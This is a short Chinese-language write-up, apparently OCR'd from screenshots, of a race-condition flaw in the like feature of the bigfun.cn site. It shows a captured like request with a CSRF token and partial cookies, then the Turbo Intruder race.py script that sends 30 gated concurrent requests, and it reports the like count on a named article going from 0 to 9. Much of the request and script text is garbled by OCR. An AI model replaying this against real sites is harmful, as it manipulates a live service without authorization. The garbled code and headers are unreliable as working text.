bigfun存在并发点赞漏洞
在bigfun中寻找任意一篇文章
此处为：https://www.bigfun.cn/post/1634635
此时点赞的次数为0
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点击点赞，抓取点赞数据包
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POST /api/cLient/veh7method=11ke RTTP/1.1
Host: www.bigfun.cn
User-Agent: Mozilla/s.0 (Vindows NT 10.0; Wine
Accept: application/3son, text/plain, */*
Accept-Language: h-CH, zh;q=0.8, 2h-T4;q=0.7, h-HK;q=0.5, en-US; 4=0.3, en; =
Accepe-Encoding: gzip, detlate
Content-Type: application/json;charsec=uct-8
-csrt-token: LijPQFLN-2yYHIFIRCTNAKIYU RNS2pRKIN
Content-Length: 3¢
10 Origin: heeps://vww.bigtun.cn
11 Comnection: close
12 Peferer: hcps://www.bigtun.cn/post/1€36e4s
15 Cookie: sid=c mamtd - -
acedziseezze.
CNZZDATALZ7537663 /= scazuoun
14 Sec-ecchoDest: empty
15 Sec-Fetch-Mode: cors
L6 Sec-Fecch-Site: same-origin

XE4; £Vi97.0) Gecko/20100101 Firefox/s7.0

215742ChbgdarzL; bili_jees
3358 421222707144000-17¢ 1cBEAE2 794

18 ("typer:l,"action”:l,"idviviedceds)





发送到turbo intruder 模式下进行并发
选择race.py，在数据包任意位置加上%s
攻击
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FOST /api/cliont/weh methoa=1 ke ATTP/L. 1
Host: wew.bigfun.cn

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; x64; rv:S7.0) Gecko/20100101 Firefox/S7.0
Accept: application/json, text/plainm, */*

Accept-Language: zh-CN, zh; g=0.8, 2h-TW; q=0.7, zh-HK; q=0.5, #n-US; q=0.3, 2n; 4=0 .
Accept-Encoding: gzip, deflate

Content-Type: application/jsen;charset=utf-g

yTHIFIREINAKLYU4 {FNS 2pKTH

@ w u m Type a search term

I7) ( Choose serpts i | | sae

1
2
3
4
s

10
1
12
13
14
5
1

1=
1
£
21
El

def

def

queueRequests (target, wordlists)
engine - Requestngine (endpoint-target.endpoint,
concurrentConnections=30,
requestsPerConnection-160,
pipeline-False
)

# the 'gate’ argument blocks the final byte of each request until openGate is invoked
for i in range(30):
engine.queue(target.req, target.baselnput, gate='racel’)

# wait until every 'racel’ tagged request is ready
# then send the final byte of each request

# (this method is non-blocking, just Like queue)
engine.openGate("racel’)

engine. complete (timeout=60)

handleResponse (req, interesting):
table.add(req)





攻击完成之后，刷新页面
点赞变成了9个
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